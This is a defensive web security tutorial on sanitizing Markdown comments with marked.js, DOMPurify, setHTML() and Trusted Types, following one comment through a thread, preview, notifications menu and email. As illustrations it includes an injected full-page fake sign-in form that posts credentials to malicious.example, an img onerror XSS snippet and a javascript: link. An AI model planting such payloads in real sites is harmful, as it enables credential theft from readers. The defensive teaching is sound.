Rendering Markdown Comments Safely: setHTML(), DOMPurify, and Trusted Types

Want more of these in your Google results?
Comment boxes that accept Markdown, like the one on GitHub, rely on libraries like marked.js to parse the Markdown and generate the HTML that formats the content.
The issue is that, by default, marked.js keeps any HTML a commenter writes, including something like <img src="x" onerror="...">, so when the image fails to load, the browser runs whatever JavaScript is in onerror for everyone who opens the thread.
That’s why the marked.js README recommends cleaning its output with a sanitizer library before you put it in the page. To be more specific, it recommends DOMPurify.
comment-thread.js
// comment-thread.js
import DOMPurify from 'dompurify';
import { marked } from 'marked';
$comment.innerHTML = DOMPurify.sanitize( marked.parse( markdown ) );DOMPurify removes the onerror handler from that image, plus any javascript: links.
The library is maintained by a security company called Cure53, and they built it to keep as much HTML as possible and remove only what can run script.
The thing is, a malicious comment with no JavaScript could still put, for example, a working sign-in form on your page. The form can look like the site’s own and send what people type to another site.
That’s what this article is about.
I’ll use a forum as the example, one where people format their comments with Markdown.
On that forum, a comment shows up in more places than its thread. Its author sees it in a preview while typing, and the person it replies to sees it in the forum’s notifications menu and gets an email about it. It also shows up in the moderators’ queue and in search results.
Those places have separate rendering code, often written months apart by different people. Any one of them can render the comment differently.
This article follows one comment through the thread, the preview, the notifications menu, and the email.
The thread
The forum renders comments with the code above, marked.js plus DOMPurify with its default settings.
In our scenario, a user named joe_doe posts a reply to a thread with the following Markdown:
md
Same here since the 2.4 update. What I tried:
- [x] Signed out and back in
- [x] Cleared the app cache
- [ ] Reinstalled
## Workaround
If I turn sync off and on again, that fixes it for a while.
<form class="sign-in" action="https://malicious.example/session" method="post" style="position: fixed; inset: 0">
<h2>Your session expired</h2>
<p>Sign in again to keep reading this thread.</p>
<input class="field" name="email" type="email" placeholder="Email">
<input class="field" name="password" type="password" placeholder="Password">
<button class="button">Sign in</button>
</form>The checklist and the heading are ordinary Markdown, and the form at the end is raw HTML that marked.js passes through. As DOMPurify removes as little as possible, the forum still renders the form.
Users will see the form and think it’s genuine.
Its style attribute stretches it over the whole page, and its sign-in class picks up the CSS of the forum’s real sign-in page.
On submit, the email and the password go to malicious.example, another site entirely.
The heading gets through as well.
marked.js turns the reply’s ## Workaround into an <h2>, the same level as the page’s “1 reply” heading.
A screen reader that lists the page’s headings puts the comment’s heading right next to the page’s own.
What a comment may contain
The form got through because DOMPurify’s defaults are the same for every site that installs it.
Some browsers also have a sanitizer built in, the setHTML() method.
That built-in sanitizer also removes anything that can run script, but its default settings also remove things like images and task-list checkboxes.
So “we sanitize comments” doesn’t say much, since the two defaults allow very different comments.
The thread below renders joe_doe’s reply with each sanitizer’s default settings.
// DOMPurify with its default settings
$comment.innerHTML = DOMPurify.sanitize( marked.parse( markdown ) );
// setHTML() with its default settings
$comment.setHTML( marked.parse( markdown ) );For the forum we manage (and for every project you’re working on), we need to write down what a comment may contain and what it may not. In this case, that is:
- Markdown’s formatting stays. That’s everything marked.js produces from Markdown syntax, from paragraphs and lists to tables and images.
- Task-list checkboxes stay, but disabled so nobody can tick them.
marked.js turns
- [x] Ship itinto a list item with a checkbox. Without the boxes, done and open items look identical. Any other<input>goes. - Links keep only web and email addresses (
https:,http:,mailto:) and getrel="ugc". Any other link turns into its text. Custom schemes likezoommtg:make the browser show a prompt to open an installed app. Google asks forugcon links in comments and forum posts. - Images load from the forum’s
/uploads/folder and nowhere else. Any other image turns into its alt text. Images from another host load as soon as the comment renders, and that host’s server logs the IP address of every reader of the thread. With an image pointing at a forum URL like/logout, every reader’s browser requests that URL with their cookies. - Headings move down two levels.
A comment’s
#becomes an<h3>, below the page’s<h1>and the<h2>above the replies. In WebAIM’s 2026 survey, 67.8% of screen reader users said headings are the first thing they try on a long page. - Five wrapper elements lose their tags and keep their text (
<b>,<i>,<u>,<span>,<div>). They come from pasted HTML, since Markdown never produces them. Google Docs, for example, wraps a whole paste in one<b style="font-weight:normal">. If the forum kept that<b>and dropped itsstyleattribute, the whole paste would turn bold. - Any other element goes, together with its content.
That rule removes forms and
<style>elements. A form can send what people type to another site, and a<style>element restyles the whole page. With the content gone, the form’s “Your session expired” heading goes too. - Attributes are limited to a few per element, like
hrefon links andsrcandalton images. IDs in a comment can collide with the page’s, sincegetElementById()returns the first match. The page’s CSS applies to anyclassin a comment, and astylecan cover the page. Withtabindex="1", a link jumps ahead of everything else in the Tab order. - No
data-*attributes. Libraries on the page can run code based on them. - No HTML comments or processing instructions (
<?target ...?>). Nobody reading the thread sees them, and text hidden in them gets past moderators.
The point here is that the sanitizer’s defaults are someone else’s decision. For your projects, and in this case the forum, you need to write down what a comment may contain, once, and make every place that shows comments go through that one list.
The list still needs a sanitizer to enforce it.
The forum uses setHTML() in browsers that have it, since its safety rules get updated with the browser, and falls back to DOMPurify everywhere else.
Both have to follow the same list, or the same comment would look different depending on the reader’s browser.
setHTML() takes its settings as an object in a format called SanitizerConfig.
The forum writes the list in that format and builds DOMPurify’s settings from the same object.
Most of the list fits in it.
Its elements array lists what stays, with the attributes each element may keep, and the sanitizer removes anything missing from it along with its content.
The wrapper elements go in replaceWithChildrenElements, and attributes: [] allows no attribute beyond what each element lists.
The rules for links, images, checkboxes, and headings have no field in that format.
The forum keeps the config in an object called commentPolicy.
Those four rules go in a second object, commentRules, for the forum’s code to apply.
comment-policy.js
// comment-policy.js
// What a comment may contain, in the format setHTML() takes.
export const commentPolicy = {
elements: [
'p', 'br', 'hr', 'blockquote', 'pre', 'code', 'em', 'strong', 'del',
'ul', 'li', { name: 'ol', attributes: [ 'start' ] },
'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
'table', 'thead', 'tbody', 'tr',
{ name: 'th', attributes: [ 'align' ] },
{ name: 'td', attributes: [ 'align' ] },
{ name: 'a', attributes: [ 'href', 'title' ] },
{ name: 'img', attributes: [ 'src', 'alt', 'title' ] },
{ name: 'input', attributes: [ 'type', 'checked', 'disabled' ] }
],
replaceWithChildrenElements: [ 'b', 'i', 'u', 'span', 'div' ],
attributes: [],
dataAttributes: false,
comments: false,
processingInstructions: []
};
// The rules that format has no field for.
export const commentRules = {
linkProtocols: [ 'https:', 'http:', 'mailto:' ],
linkRel: 'ugc',
imageFolder: '/uploads/',
headingOffset: 2,
inputTypes: [ 'checkbox' ]
};The forum’s config is an allow list, which means anything it doesn’t name gets removed, <base> included.
One <base href> in a comment changes where the page’s relative URLs point.
Links and form submissions go to another host, and so do fetch() calls and scripts the page loads later.
DOMPurify removes <base> by default as well, and so does setHTML() with its default settings.
You can also write a config as a remove list, with removeElements.
It starts from all elements and removes only the ones you name.
Anything you don’t name gets through, and <base> is an easy one to leave out.
After a security report, the HTML standard was changed so setHTML() removes <base> whatever its config says, remove lists included.
Browsers that haven’t shipped that change still keep a <base> that a remove list doesn’t name.
A <base> can still reach the page through code that skips the sanitizer, like the preview and the notifications menu later in this article.
For those, the forum also sends base-uri 'none' in its Content Security Policy (CSP), the header a site sends to limit what its pages can do.
With it, a <base href> can’t change where the page’s relative URLs point.
Using setHTML() with a DOMPurify fallback
You call setHTML() on an element instead of setting innerHTML.
It parses a string, removes whatever the config doesn’t allow, and puts what’s left inside the element.
Anything that can run script always goes, even if a config allows it.
Browser data updated September 24, 2026
Where it’s missing, the forum runs DOMPurify with a config built from commentPolicy.
Chrome once shipped an earlier setHTML() with a different config format.
The forum tells the two apart by testing for Document.parseHTML(), a sibling method that only the current version has.
The forum also builds a Sanitizer object from the config once, which MDN says is expected to be more efficient than passing the config on each call.
That object keeps comments, processing instructions, and data-* attributes unless its config turns them off.
That’s why the config spells out all three.
DOMPurify needs two changes to match setHTML().
First, it has one list of allowed attributes for all elements.
The forum gives its ADD_ATTR option a function that checks attributes against the list for their element.
Second, DOMPurify keeps the text of an element it removes.
setHTML() drops that text along with the element.
With KEEP_CONTENT off, DOMPurify drops it too, and a hook unwraps the five wrapper elements.
The forum’s createPurifier() makes both changes:
purifier.js
// purifier.js
import DOMPurify from 'dompurify';
import { commentPolicy } from './comment-policy.js';
export function createPurifier( window ) {
// Each element the policy allows, with the attributes it may keep.
const allowed = new Map();
for ( const element of commentPolicy.elements ) {
if ( typeof element === 'string' ) {
allowed.set( element, [] );
} else {
allowed.set( element.name, element.attributes );
}
}
const unwrapped = new Set( commentPolicy.replaceWithChildrenElements );
// An instance of its own. The hook below doesn't run when other code on the page calls DOMPurify.
const purify = DOMPurify( window );
purify.addHook( 'uponSanitizeElement', ( $node, data ) => {
if ( unwrapped.has( data.tagName ) ) {
// The children go after the element. DOMPurify removes the empty element itself.
$node.after( ...$node.childNodes );
}
} );
const config = {
// With KEEP_CONTENT off, text survives only if #text is on the list.
ALLOWED_TAGS: [ '#text', ...allowed.keys() ],
ALLOWED_ATTR: [],
ADD_ATTR: ( attribute, tag ) => allowed.get( tag )?.includes( attribute ) ?? false,
ALLOW_DATA_ATTR: commentPolicy.dataAttributes,
ALLOW_ARIA_ATTR: false,
KEEP_CONTENT: false,
RETURN_DOM_FRAGMENT: true
};
return ( html ) => purify.sanitize( html, config );
}The hook moves the children after the element on purpose.
DOMPurify walks the tree in order and never checks children moved in front of the element, onerror handlers included.
After either sanitizer, the forum’s applyCommentRules() applies commentRules to the nodes.
Links and images get resolved against the page’s URL and written back as absolute URLs.
That way they keep pointing where they should in an email, or on a page with another <base>.
comment-rules.js
// comment-rules.js
export function applyCommentRules( $root, rules, pageURL ) {
const page = new URL( pageURL );
// A comment's # heading moves down under the page's own headings.
for ( const $heading of $root.querySelectorAll( 'h1, h2, h3, h4, h5, h6' ) ) {
const level = Math.min( Number( $heading.localName[ 1 ] ) + rules.headingOffset, 6 );
const $moved = $root.ownerDocument.createElement( `h${level}` );
$moved.append( ...$heading.childNodes );
$heading.replaceWith( $moved );
}
// A link turns into its text unless its protocol is in linkProtocols.
for ( const $link of $root.querySelectorAll( 'a' ) ) {
const url = parseURL( $link.getAttribute( 'href' ), page );
if ( url && rules.linkProtocols.includes( url.protocol ) ) {
$link.setAttribute( 'href', url.href );
$link.setAttribute( 'rel', rules.linkRel );
} else {
$link.replaceWith( ...$link.childNodes );
}
}
// If an image isn't from the forum's uploads folder, only its alt text is kept.
for ( const $image of $root.querySelectorAll( 'img' ) ) {
const url = parseURL( $image.getAttribute( 'src' ), page );
if ( url && url.origin === page.origin && url.pathname.startsWith( rules.imageFolder ) ) {
$image.setAttribute( 'src', url.href );
} else {
$image.replaceWith( $image.alt );
}
}
// Disable task-list checkboxes and remove every other input.
for ( const $input of $root.querySelectorAll( 'input' ) ) {
if ( rules.inputTypes.includes( $input.type ) ) {
$input.disabled = true;
} else {
$input.remove();
}
}
}
// The absolute URL, or null when there's no value or it doesn't parse.
function parseURL( value, base ) {
if ( value === null ) {
return null;
}
try {
return new URL( value, base );
} catch {
return null;
}
}renderComment() puts the pieces together.
It builds the comment in a document that has no window, made with document.implementation.createHTMLDocument().
The nodes move into the thread at the end.
If the forum called setHTML() on the thread’s element directly, a tracking image would start loading before the rules could remove it.
Images in a document that has no window don’t load until they’re moved into the page.
render-comment.js
// render-comment.js
import { marked } from 'marked';
import { commentPolicy, commentRules } from './comment-policy.js';
import { createPurifier } from './purifier.js';
import { applyCommentRules } from './comment-rules.js';
// Test for Document.parseHTML() to tell the current Sanitizer API apart from Chrome's older setHTML().
const sanitizer = 'parseHTML' in Document ? new Sanitizer( commentPolicy ) : null;
const purify = sanitizer ? null : createPurifier( window );
export function renderComment( markdown, $target ) {
const html = marked.parse( markdown );
// A document that has no window.
const $scratch = document.implementation.createHTMLDocument().body;
if ( sanitizer ) {
$scratch.setHTML( html, { sanitizer } );
} else {
$scratch.append( purify( html ) );
}
applyCommentRules( $scratch, commentRules, location.href );
$target.replaceChildren( ...$scratch.childNodes );
}The thread below adds the forum’s custom policy, which runs renderComment() in your browser.
// render-comment.ts
import { marked } from 'marked';
import DOMPurify, { type Config, type WindowLike } from 'dompurify';
import type { CommentRules, Purifier } from './types';
/**
* What a comment may contain, in the `SanitizerConfig` format that `setHTML()` takes.
*
* It lists what stays, and anything it doesn't name is removed together with its content.
* `createPurifier()` builds DOMPurify's configuration from this same object.
*/
export const commentPolicy: SanitizerConfig = {
elements: [
'p', 'br', 'hr', 'blockquote', 'pre', 'code', 'em', 'strong', 'del',
'ul', 'li', { name: 'ol', attributes: [ 'start' ] },
'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
'table', 'thead', 'tbody', 'tr',
{ name: 'th', attributes: [ 'align' ] },
{ name: 'td', attributes: [ 'align' ] },
{ name: 'a', attributes: [ 'href', 'title' ] },
{ name: 'img', attributes: [ 'src', 'alt', 'title' ] },
{ name: 'input', attributes: [ 'type', 'checked', 'disabled' ] },
],
replaceWithChildrenElements: [ 'b', 'i', 'u', 'span', 'div' ],
attributes: [],
dataAttributes: false,
comments: false,
processingInstructions: [],
};
/**
* The rules that `SanitizerConfig` has no field for, which `applyCommentRules()` enforces after either sanitizer.
*/
export const commentRules: CommentRules = {
linkProtocols: [ 'https:', 'http:', 'mailto:' ],
linkRel: 'ugc',
imageFolder: '/uploads/',
headingOffset: 2,
inputTypes: [ 'checkbox' ],
};
/**
* Whether a node is an element, checked by its type so it also works on nodes from another document.
*
* @param node - The node DOMPurify is sanitizing.
* @returns True for an element.
*/
function isElement( node: Node ): node is Element {
return node.nodeType === Node.ELEMENT_NODE;
}
/**
* The name of an element or attribute entry in a `SanitizerConfig` list.
*
* @param entry - A bare name, or an object with a `name`.
* @returns The name.
*/
function nameOf( entry: string | { name: string } ): string {
return typeof entry === 'string' ? entry : entry.name;
}
/**
* Builds a DOMPurify sanitizer that keeps exactly what `commentPolicy` keeps.
*
* DOMPurify has a single attribute list for all elements.
* `ADD_ATTR` gets a function that checks each attribute against the list for its own element.
* DOMPurify keeps the text of an element it removes, while `setHTML()` drops that text.
* `KEEP_CONTENT` is off for that reason, and a hook unwraps only the elements the policy lists for unwrapping.
* Because the sanitizer is a DOMPurify instance of its own, its hook doesn't run when other code on the page calls DOMPurify.
*
* @param window - The window DOMPurify parses in, either the page's own or a jsdom window on a server.
* @returns A function that sanitizes a string of HTML into a fragment.
*/
export function createPurifier( window: WindowLike ): Purifier {
const allowed = new Map<string, string[]>();
for ( const element of commentPolicy.elements ?? [] ) {
if ( typeof element === 'string' ) {
allowed.set( element, [] );
} else {
allowed.set( element.name, ( element.attributes ?? [] ).map( nameOf ) );
}
}
const unwrapped = new Set( ( commentPolicy.replaceWithChildrenElements ?? [] ).map( nameOf ) );
const purify = DOMPurify( window );
purify.addHook( 'uponSanitizeElement', ( $node, data ) => {
if ( unwrapped.has( data.tagName ) && isElement( $node ) ) {
// The children go after the element. DOMPurify removes the empty element itself.
$node.after( ...$node.childNodes );
}
} );
const config: Config & { RETURN_DOM_FRAGMENT: true } = {
// With KEEP_CONTENT off, text survives only if #text is on the list.
ALLOWED_TAGS: [ '#text', ...allowed.keys() ],
ALLOWED_ATTR: [],
ADD_ATTR: ( attribute, tag ) => allowed.get( tag )?.includes( attribute ) ?? false,
ALLOW_DATA_ATTR: commentPolicy.dataAttributes ?? false,
ALLOW_ARIA_ATTR: false,
KEEP_CONTENT: false,
RETURN_DOM_FRAGMENT: true,
};
return ( html ) => {
const fragment: DocumentFragment | null = purify.sanitize( html, config );
if ( fragment === null ) {
// Under Trusted Types, DOMPurify returns null when the CSP doesn't allow its policy.
throw new Error( 'DOMPurify returned null. Allow the dompurify policy in trusted-types.' );
}
return fragment;
};
}
/**
* The absolute URL a link or an image points to.
*
* @param value - The attribute's value, or null when the attribute is missing.
* @param base - The URL of the page that shows the comment.
* @returns The URL, or null when there's no value or it doesn't parse.
*/
function parseURL( value: string | null, base: URL ): URL | null {
if ( value === null ) {
return null;
}
try {
return new URL( value, base );
} catch {
return null;
}
}
/**
* Applies the rules `SanitizerConfig` can't express to sanitized nodes that aren't on the page yet.
*
* Headings move down by `headingOffset` levels.
* A link with an allowed protocol gets `rel` and keeps its address, written back as an absolute URL.
* Any other link becomes its text.
* An image is replaced by its alt text unless it comes from `imageFolder` on the page's own origin.
* The function disables checkboxes and removes every other input.
*
* @param $root - The element holding the sanitized comment.
* @param rules - The rules to apply.
* @param pageURL - The URL of the page the comment renders on, which relative URLs resolve against.
*/
export function applyCommentRules( $root: Element, rules: CommentRules, pageURL: string ): void {
const page = new URL( pageURL );
for ( const $heading of $root.querySelectorAll( 'h1, h2, h3, h4, h5, h6' ) ) {
const level = Math.min( Number( $heading.localName.slice( 1 ) ) + rules.headingOffset, 6 );
const $moved = $root.ownerDocument.createElement( `h${level}` );
$moved.append( ...$heading.childNodes );
$heading.replaceWith( $moved );
}
for ( const $link of $root.querySelectorAll( 'a' ) ) {
const url = parseURL( $link.getAttribute( 'href' ), page );
if ( url && rules.linkProtocols.includes( url.protocol ) ) {
$link.setAttribute( 'href', url.href );
$link.setAttribute( 'rel', rules.linkRel );
} else {
$link.replaceWith( ...$link.childNodes );
}
}
for ( const $image of $root.querySelectorAll( 'img' ) ) {
const url = parseURL( $image.getAttribute( 'src' ), page );
if ( url && url.origin === page.origin && url.pathname.startsWith( rules.imageFolder ) ) {
$image.setAttribute( 'src', url.href );
} else {
$image.replaceWith( $image.alt );
}
}
for ( const $input of $root.querySelectorAll( 'input' ) ) {
if ( rules.inputTypes.includes( $input.type ) ) {
$input.disabled = true;
} else {
$input.remove();
}
}
}
/**
* The browser's sanitizer built from `commentPolicy`, or null where the current Sanitizer API is missing.
*
* Chrome once shipped an older `setHTML()` with a different configuration format.
* Only the current API has `Document.parseHTML()`, and that's the method the check tests for.
*/
const sanitizer: Sanitizer | null = 'parseHTML' in Document ? new Sanitizer( commentPolicy ) : null;
/**
* The DOMPurify fallback, created only where `setHTML()` can't run the policy.
*/
const purify: Purifier | null = sanitizer ? null : createPurifier( window );
/**
* Renders a Markdown comment into `$target` with the forum's policy, through `setHTML()` where the browser has it and DOMPurify everywhere else.
*
* The comment is built in a document that has no window.
* Nothing in it loads until `applyCommentRules()` has run and the nodes move into `$target`.
*
* @param markdown - The comment as its author wrote it.
* @param $target - The element that shows the comment.
*/
export function renderComment( markdown: string, $target: Element ): void {
const html = marked.parse( markdown, { async: false } );
const $scratch = document.implementation.createHTMLDocument().body;
if ( sanitizer ) {
$scratch.setHTML( html, { sanitizer } );
} else if ( purify ) {
$scratch.append( purify( html ) );
}
applyCommentRules( $scratch, commentRules, location.href );
$target.replaceChildren( ...$scratch.childNodes );
}With the custom policy, both sanitizers give the same HTML for joe_doe’s reply.
The preview is the next place that has to go through renderComment().
The preview
The forum’s reply box shows a preview of your reply while you type.
Many codebases build that preview as a separate component and leave the sanitizer out.
React’s docs have a Markdown editor example built that way, with dangerouslySetInnerHTML and no sanitizer.
Its code has a comment saying that’s safe, because the HTML goes back just to the person who typed it and the parser can be trusted.
The example uses a parser called Remarkable. Remarkable escapes any HTML you type. marked.js doesn’t, and with it the preview would show whatever HTML is in the box.
You could think that makes sense, since the preview is only for the person typing.
However, on the forum, that box can contain text you didn’t type yourself, for example, when you reply to someone else’s comment.
If you press Quote on joe_doe’s reply, the box fills with joe_doe’s Markdown, fake form included. Moderators who open a reported comment with Edit get the commenter’s HTML in the preview. And if the box keeps the formatting of pasted text, a paste from Google Docs brings its HTML along.
In the thread below, press Quote on joe_doe’s reply. You’ll notice the page renders the preview the way React’s example does.
The fix is for the preview to call the same renderComment() the thread uses:
js
$box.addEventListener( 'input', () => {
renderComment( $box.value, $preview );
} );One function means the preview shows exactly what the thread will show after posting.
The notifications menu
The forum’s header has a bell. It opens a menu with the latest replies to your posts, each with its author and its first lines. The menu is part of the forum’s page, like the thread and the reply box.
Say the menu ships months after the thread, and its code never calls renderComment().
marked.js’s README has a browser example that renders Markdown with innerHTML, and the first version of the menu follows it:
js
$item.innerHTML = `<strong>${reply.author}</strong> replied: ${marked.parse( reply.markdown )}`;That line skips the forum’s policy. joe_doe’s fake form ends up inside the menu, and so does any HTML in an author’s display name. The line is easy to miss because it looks normal in a pull request about the notifications menu.
That’s where you use Trusted Types, a browser feature that catches lines like that. Pages turn it on with a Content Security Policy header:
http
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types dompurifyWith that header, assigning a plain string to innerHTML, or passing one to a method like insertAdjacentHTML(), throws a TypeError.
Those properties and methods take a TrustedHTML object instead.
The page gets one from a policy it registers by name, with trustedTypes.createPolicy().
The trusted-types part of the header lists the names the page may register.
Adding a name means changing the header, which goes through code review.
renderComment() keeps working with the header on, because setHTML() takes plain strings and sanitizes them anyway.
DOMPurify registers a policy of its own named dompurify.
That’s why the header lists that name.
If dompurify isn’t in the list, DOMPurify can’t register its policy and returns null instead of nodes, without an error.
In browsers without setHTML(), where DOMPurify runs, every comment would then show the word “null”.
The forum’s purifier checks for that null before anything reaches the page:
js
return ( html ) => {
const fragment = purify.sanitize( html, config );
if ( fragment === null ) {
throw new Error( 'DOMPurify returned null. Allow the dompurify policy in trusted-types.' );
}
return fragment;
};When other code on the page uses DOMPurify’s default instance too, both register a policy named dompurify, and the list needs 'allow-duplicates' as well.
The menu below runs the innerHTML line from above.
Its Trusted Types switch adds the header to the forum page.
Text is all the menu needs.
The fixed version renders the reply off screen with renderComment() and keeps its textContent.
Then it builds the item from nodes:
js
const $offscreen = document.implementation.createHTMLDocument().body;
renderComment( reply.markdown, $offscreen );
const $author = document.createElement( 'strong' );
$author.textContent = reply.author;
const $excerpt = document.createElement( 'p' );
$excerpt.textContent = $offscreen.textContent;
$item.replaceChildren( $author, ' replied: ', $excerpt );On a <strong> or a <p>, textContent can’t create anything but text, which is why Trusted Types don’t check it.
Most frameworks have an option for putting a string in as HTML. Trusted Types don’t catch all of those options.
| Where the string goes | With require-trusted-types-for 'script' |
|---|---|
innerHTML, insertAdjacentHTML() | Throws a TypeError, and accepts TrustedHTML |
React’s dangerouslySetInnerHTML | Throws, and React removes the root’s content unless an error boundary catches it |
Vue’s v-html | Renders the string, since Vue passes it through its own vue policy |
Lit’s unsafeHTML() | Renders the string, since Lit parses it through its own lit-html policy |
A server template (<%- %>, {{{ }}}) | Isn’t checked, because the browser parses that HTML as part of the page |
v-html throws when trusted-types doesn’t list vue, and Lit doesn’t load at all without lit-html in the list.The email
The forum sends joe_doe’s reply by email to mia_r, who started the thread. The forum’s server builds that email, and it needs the reply as a string of HTML.
setHTML() only exists in browsers.
On the server, the forum runs DOMPurify with jsdom, a JavaScript implementation of the DOM.
renderCommentHTML() builds that string with createPurifier() and applyCommentRules(), like renderComment() does in browsers without setHTML().
The server passes applyCommentRules() the thread’s URL to turn the email’s links and images into absolute URLs:
render-comment-server.js
// render-comment-server.js
import { JSDOM } from 'jsdom';
import { marked } from 'marked';
import { commentRules } from './comment-policy.js';
import { createPurifier } from './purifier.js';
import { applyCommentRules } from './comment-rules.js';
const { window } = new JSDOM( '' );
const purify = createPurifier( window );
export function renderCommentHTML( markdown, threadURL ) {
const $scratch = window.document.createElement( 'div' );
$scratch.append( purify( marked.parse( markdown ) ) );
applyCommentRules( $scratch, commentRules, threadURL );
return $scratch.innerHTML;
}The string goes into the email’s template through a raw output tag, like <%- %> in EJS or {{{ }}} in Handlebars.
If an email template skips renderCommentHTML(), Trusted Types won’t catch it.
They don’t check server templates, and the forum’s CSP doesn’t apply in an email client.
A few ways this goes wrong
A sanitizer that runs before marked.js can’t catch links written in Markdown syntax.
Markdown like [click](javascript:alert(1)) has no HTML in it until marked.js turns it into a link that keeps the javascript: URL.
Regexes that add rel to the <a tags in the sanitized string produce HTML no sanitizer has checked, and that can undo the sanitizing.
The forum’s rules work on nodes instead, and they only remove or move nodes and set values they’ve checked.
Rules that run after the comment is in the page come too late for a tracking image. The request goes out as soon as the image is in the page, even if the next line removes it.
renderComment() takes the setHTML() path in browsers that have it, and DOMPurify’s everywhere else.
Tests that run only in a browser with setHTML() never reach the DOMPurify path.
Run one set of comments through both paths with the CSP the site really sends, then compare the HTML.
What separates a senior from a junior here
- “We sanitize comments” can mean any config. In review, a senior asks what the config allows and checks it against what a comment needs.
- Comments render in more places than the thread. Every place gets listed, including the ones added later, and calls the one function or shows text.
- The fallback gets tested in a browser without
setHTML(), where DOMPurify runs. - Trusted Types catch an
innerHTMLthat review missed. Framework options likev-htmlandunsafeHTML()still need a human look, and so do server templates.
Want more of these in your Google results?